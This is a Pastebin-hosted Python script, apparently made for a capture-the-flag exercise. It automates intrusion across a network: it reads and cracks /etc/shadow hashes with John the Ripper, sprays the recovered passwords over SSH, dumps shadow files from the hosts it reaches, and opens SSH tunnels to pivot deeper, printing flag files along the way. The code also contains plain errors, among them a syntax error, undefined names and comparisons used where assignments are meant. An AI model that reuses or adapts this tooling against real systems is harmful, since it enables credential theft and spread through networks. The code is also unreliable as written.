Advertisement
Guest User

Untitled

a guest
Apr 14th, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.66 KB | None | 0 0
  1. import os
  2. import subprocess
  3. import sys
  4. import threading
  5. import queue
  6. import time
  7. import paramiko
  8. import socketserver
  9. import select
  10.  
  11. if sys.version_info < (3, 0):
  12. print("Must be run with python3")
  13. exit()
  14.  
  15. ##### Globals
  16. COMPUTER = {}
  17. IP = {}
  18.  
  19. CRED = set()
  20. CRACKABLE = []
  21.  
  22. Computer_Number = 0
  23. Port_Number = 4444
  24.  
  25. Q = queue.Queue()
  26. COMPUTER[0] = {"reachable":[],
  27. "reached":[],
  28. "access":None,
  29. "credentials":None,
  30. "root":False
  31. }
  32.  
  33. ##### Helper functions
  34. def attempt_logon(hostname, port, username, password, command=None):
  35. try:
  36. ssh_client = paramiko.SSHClient()
  37. ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  38. ssh_client.connect(hostname=hostname,port=port,username=username,password=password)
  39. if command == None:
  40. return (True, None)
  41. else:
  42. stdin,stdout,stderr=ssh_client.exec_command(command)
  43. if stderr.readlines() == []:
  44. return (True, stdout)
  45. else:
  46. return (False, None)
  47. except Exception as e:
  48. return (False, None)
  49. finally:
  50. ssh_client.close()
  51.  
  52. def load_servers(fileContent):
  53. try:
  54. servers = []
  55. for line in fileContent.split("\n"):
  56. try:
  57. ip, port = line.split(":")
  58. servers.append([ip, port])
  59. except:
  60. pass
  61. return servers
  62. except Exception as e:
  63. print("Error parsing servers.txt:" + str(e))
  64.  
  65. def load_shadow(fileContent):
  66. load_shadow.filenumber
  67. try:
  68. with open('shadows/%d' % load_shadow.filenumber,'w+') as file:
  69. file.write(fileContent)
  70. CRACKABLE.append(load_shadow.filenumber)
  71. COMPUTER[0]["root"] = True
  72. except Exception as e:
  73. print("Error writing to directory: "+str(e))
  74. load_shadow.filenumber += 1
  75. load_shadow.filenumber = 0
  76.  
  77. ##### Thread Classes
  78. class john(threading.Thread):
  79. def __init__(self):
  80. threading.Thread.__init__(self)
  81. global CRACKABLE
  82. global CRED
  83. def timeout(self):
  84. self.running = False
  85. def run(self):
  86. self.running = True
  87. while self.running:
  88. if len(CRACKABLE) != 0:
  89. try:
  90. file = str(CRACKABLE.pop())
  91. p = subprocess.Popen(["john", "shadows/"+file, "--wordlist=./rockyou.txt", "--pot=./john.pot"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  92. (output, err) = p.communicate()
  93. p.stdout.close()
  94. p.stderr.close()
  95. p = subprocess.Popen(["john", "shadows/"+file, "--show", "--pot=./john.pot"], stdout=subprocess.PIPE)
  96. (output, err) = p.communicate()
  97. p.stdout.close()
  98.  
  99. for line in output.decode("utf-8").split("\n"):
  100. try:
  101. CRED.add((line.split(":")[0], line.split(":")[1]))
  102. print("New cred : %s %s" % (line.split(":")[0], line.split(":")[1]))
  103. except:
  104. pass
  105. old_cred = list(CRED)
  106. for username, p in old_cred:
  107. for u, password in old_cred:
  108. CRED.add((username, password))
  109. time.sleep(.25)
  110. except Exception as e:
  111. print(e)
  112. pass
  113. class cred(threading.Thread):
  114. def __init__(self):
  115. threading.Thread.__init__(self)
  116. global CRACKABLE
  117. global CRED
  118. global COMPUTER
  119. def timeout(self):
  120. self.running = False
  121. def run(self):
  122. self.running = True
  123. num_creds = 0
  124. while self.running:
  125. if len(CRED) == num_creds:
  126. time.sleep(.25)
  127. continue
  128. num_creds = len(CRED)
  129. for Comp_Num in COMPUTER.keys():
  130. for q in IP.keys():
  131. if IP[q] = Comp_Num:
  132. Print("Trying to gain root for %s" % q)
  133. break
  134. if COMPUTER[Comp_Num]["root"] == False and COMPUTER[Comp_Num]["access"] != None:
  135. success, output = attempt_logon(COMPUTER[Comp_Num]["access"][0], COMPUTER[Comp_Num]["access"][1], username, password, "cat /etc/shadow")
  136. if success:
  137. COMPUTER[Comp_Num]["root"] == True
  138. load_shadow(output.read())
  139. Print("Accessed root for %s" % q)
  140. class tunn(threading.Thread):
  141. def __init__(self, local_port, server_hostname, server_port, remote_hostname, remote_port, username, password):
  142. threading.Thread.__init__(self)
  143. global CRACKABLE
  144. global CRED
  145. self.local_port = local_port
  146. self.server_hostname = server_hostname
  147. self.server_port = server_port
  148. self.remote_hostname = remote_hostname
  149. self.remote_port = remote_port
  150. self.username = username
  151. self.password = password
  152. def timeout(self):
  153. self.running = False
  154. def run(self):
  155. local_port = self.local_port
  156. server_hostname = self.server_hostname
  157. server_port = self.server_port
  158. remote_hostname = self.remote_hostname
  159. remote_port = self.remote_port
  160. username = self.username
  161. password = self.password
  162. running = True
  163. def verbose(s):
  164. if False:
  165. print(s)
  166. try:
  167. client = paramiko.SSHClient()
  168. client.load_system_host_keys()
  169. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  170.  
  171. client.connect(
  172. server_hostname,
  173. server_port,
  174. username=username,
  175. password=password
  176. )
  177.  
  178. class Handler(socketserver.BaseRequestHandler):
  179. def handle(self):
  180. try:
  181. chan = self.ssh_transport.open_channel(
  182. "direct-tcpip",
  183. (self.chain_host, self.chain_port),
  184. self.request.getpeername(),
  185. )
  186. except Exception as e:
  187. verbose(
  188. "Incoming request to %s:%d failed: %s"
  189. % (self.chain_host, self.chain_port, repr(e))
  190. )
  191. return
  192. if chan is None:
  193. verbose(
  194. "Incoming request to %s:%d was rejected by the SSH server."
  195. % (self.chain_host, self.chain_port)
  196. )
  197. return
  198.  
  199. verbose(
  200. "Connected! Tunnel open %r -> %r -> %r"
  201. % (
  202. self.request.getpeername(),
  203. chan.getpeername(),
  204. (self.chain_host, self.chain_port),
  205. )
  206. )
  207. while True:
  208. r, w, x = select.select([self.request, chan], [], [])
  209. if self.request in r:
  210. data = self.request.recv(1024)
  211. if len(data) == 0:
  212. break
  213. chan.send(data)
  214. if chan in r:
  215. data = chan.recv(1024)
  216. if len(data) == 0:
  217. break
  218. self.request.send(data)
  219.  
  220. peername = self.request.getpeername()
  221. chan.close()
  222. self.request.close()
  223. verbose("Tunnel closed from %r" % (peername,))
  224.  
  225. class SubHander(Handler):
  226. chain_host = remote_hostname
  227. chain_port = remote_port
  228. ssh_transport = client.get_transport()
  229.  
  230. class ForwardServer(socketserver.ThreadingTCPServer):
  231. daemon_threads = True
  232. allow_reuse_address = True
  233.  
  234. ForwardServer(("", local_port), SubHander).serve_forever()
  235. except Exception as e:
  236. print("AH: "+str(e))
  237.  
  238. ##### Init Main
  239. # Create shadow directory
  240. try:
  241. os.mkdir("shadows")
  242. except:
  243. pass
  244. # Get ips of host
  245. try:
  246. (output, err) = subprocess.Popen(["hostname -I"], stdout=subprocess.PIPE, shell=True).communicate()
  247. for ip in output[:-2].decode('utf-8').split(" "):
  248. IP[ip] = 0
  249. except Exception as e:
  250. print("Error determining ip address: "+str(e))
  251. # Read /root/servers.txt
  252. try:
  253. (output, err) = subprocess.Popen(["cat /root/servers.txt"], stdout=subprocess.PIPE, shell=True).communicate()
  254. for ip, port in load_servers(output.decode("utf-8")):
  255. COMPUTER[0]["reachable"].append((ip, port, ip, port))
  256. Q.put(0)
  257. except Exception as e:
  258. print("Error opening servers.txt: "+str(e))
  259. # Read /etc/shadow
  260. try:
  261. with open('/etc/shadow') as file:
  262. load_shadow(file.read())
  263. COMPUTER[0]["root"] == True
  264. except exception as e:
  265. print("Cannot open /etc/shadow: %s"+str(e))
  266. sys.exit(1)
  267. # Read /flag.txt
  268. try:
  269. with open('/flag.txt') as file:
  270. print("FLAG START ------")
  271. for line in file.readlines():
  272. print(line)
  273. print("FLAG END --------")
  274. except:
  275. pass
  276.  
  277. ##### Init Threads
  278. John_Thread = john()
  279. Cred_Thread = cred()
  280.  
  281. John_Thread.start()
  282. Cred_Thread.start()
  283.  
  284. Tunn_Threads = []
  285.  
  286. ##### Main
  287. while Q.qsize() != 0:
  288. q = Q.get()
  289. Computer = COMPUTER[q]
  290. print(q)
  291. for ip, port, tunn_ip, tunn_port in Computer["reachable"]:
  292. if ip in IP.keys():
  293. if ip not in Computer["reached"]:
  294. Computer["reached"].append(ip)
  295. continue
  296. print("Try : "+ip)
  297. old_cred = list(CRED)
  298. for username, password in old_cred:
  299. if attempt_logon(tunn_ip, tunn_port, username, password)[0]:
  300. remote = {
  301. "reachable":[],
  302. "reached":[],
  303. "access": (tunn_ip, tunn_port),
  304. "credentials":None,
  305. "root":False
  306. }
  307. print("Credentials: %s:%s via %s:%s : %s %s" % (ip, port, tunn_ip, tunn_port, username, password))
  308. for new_ip in attempt_logon(tunn_ip, tunn_port, username, password, "hostname -I")[1].read()[:-2].decode('utf-8').split(" "):
  309. IP[new_ip] = Computer_Number
  310.  
  311. try:
  312. for new_ip, new_port in load_servers(attempt_logon(tunn_ip, tunn_port, username, password, "cat servers.txt")[1].read().decode("utf-8")):
  313. new_ip = str(new_ip)
  314. new_port = int(new_port)
  315. Port_Number += 1
  316. print("Create tunnel 127.0.0.1:%s to %s:%s via %s:%s"% (Port_Number, new_ip, new_port, tunn_ip, tunn_port))
  317. remote["reachable"].append((new_ip, new_port, "127.0.0.1", Port_Number))
  318. T = tunn(Port_Number, tunn_ip, tunn_port, new_ip, new_port, username, password)
  319. T.start()
  320. Tunn_Threads.append(T)
  321. except Exception as e:
  322. pass
  323.  
  324.  
  325. # Initialize credenetials
  326. remote["credentials"] = (username, password)
  327.  
  328. # Check for root
  329. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /etc/shadow")
  330. if success:
  331. remote["root"] = True
  332. print("Gained root : "+ip)
  333. load_shadow(output.read())
  334.  
  335. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /flag.txt")
  336. if success:
  337. print("FLAG START ------")
  338. print(output.read().decode("utf-8"))
  339. print("FLAG END --------")
  340. Computer_Number += 1
  341. Q.put(Computer_Number)
  342. COMPUTER[Computer_Number] = remote
  343.  
  344. break
  345.  
  346. if(len(Computer["reached"]) != len(Computer["reachable"])):
  347. Q.put(q)
  348. time.sleep(.25)
  349.  
  350. Print("Done")
  351. #### End
  352. John_Thread.timeout()
  353. Cred_Thread.timeout()
  354. for T in Tunn_Threads:
  355. T.timeout()
  356.  
  357. John_Thread.join()
  358. Cred_Thread.join()
  359. for T in Tunn_Threads:
  360. T.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement